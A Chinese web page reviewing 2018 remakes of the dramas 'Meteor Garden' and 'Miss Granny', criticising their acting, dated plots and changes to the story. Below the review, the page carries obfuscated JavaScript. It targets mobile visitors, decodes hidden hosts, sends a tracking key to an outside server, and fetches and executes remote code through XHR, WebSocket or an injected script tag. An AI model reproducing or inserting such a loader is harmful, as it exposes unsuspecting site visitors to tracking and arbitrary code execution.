《流星花园》、《重返二十岁》2018翻拍剧为何样样不如此剧？
时间：2023-08-20 05:52:04 阅读：5
这几年，IP剧翻拍的势头非常火热。许多被誉为经典的电视剧纷纷被导演们拿来炒冷饭，再次召集一批演员和吸引投资商。他们拍出了一部名为《XXX》的新版，然而实际上只是披着旧版的外壳，蹭着旧版的热度而已。而今年暑期档正好抓住了翻拍剧热潮，推出了一系列这样的电视剧。
首先是沈月版《流星花园》，原版《流星花园》作为当年风靡万千少女的偶像剧鼻祖，曾经在大陆被翻拍成《一起来看流星雨》。虽然不及原版，但这个翻拍版也引来了不少吐槽，尤其是其中尴尬的广告植入：“今天，端木他带我去了美特斯邦威，挑了很多衣服和鞋。”不过，这部剧仍然成为了95后少女心中不可磨灭的经典之一。然而，今年又推出了新版《流星花园》，不少网友因为新F4的美颜而吸引，但观众普遍吐槽整部剧的审美还停留在十几年前，剧情上没有创新，使用的老梗反而尴尬。观众们已经看腻了霸道总裁爱上灰姑娘的剧情，对于像女主角杉菜这样的玛丽苏题材也感到厌倦。新版中选用的演员都是新一代的演员，演技略显尴尬，后期配音也叫人出戏。虽然服装场景布置比前两版精美了不少，但略显假，没有现实生活的实感。唯一贴近生活的地方就是将女主角名字改成了董杉菜，但光听这个名字就感觉像是某个乡村故事的女主角。可以说导演和编剧为了让这部剧贴近大陆观众，费了不少心思，但结果很令人生厌。我个人认为比起这个新版，《极战版》的土味流星花园还要好看些。新版《流星花园》将老戏重新拍摄，却没有吸取旧版的精华，固步自封，注定是一部破坏经典的作品。
另外一部翻拍剧是《重返二十岁》的电视剧版。它改编自电影版《重返二十岁》，而这个电影版又是翻拍自韩国电影《奇怪的她》。为了在电影版基础上有所创新，电视剧版对剧情进行了大改动。原来讲述奶奶回溯青春勇敢追求梦想和爱情的故事，改成了爷爷奶奶回溯青春并再次谈恋爱的故事。在电视剧版中，爷爷和奶奶意外地变回年轻时的样子后，并没有表现出对这种奇幻遭遇的惊慌失措，而是镇定地开始了新的生活。
以上就是我对2018年暑期档中的几部翻拍剧的吐槽描述。
相关视频
影片评论
热门影视
function xMGnDbo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function wgcCPdkJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xMGnDbo(t);};window[''+'H'+'y'+'d'+'E'+'f'+'k'+'I'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=wgcCPdkJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/14963/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZtai5zeG5kMS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGbmh5LnlpbmhvbmdjLmNuJTTNBOTTUzNA==','165695',window,document,['l','T']);}:function(){};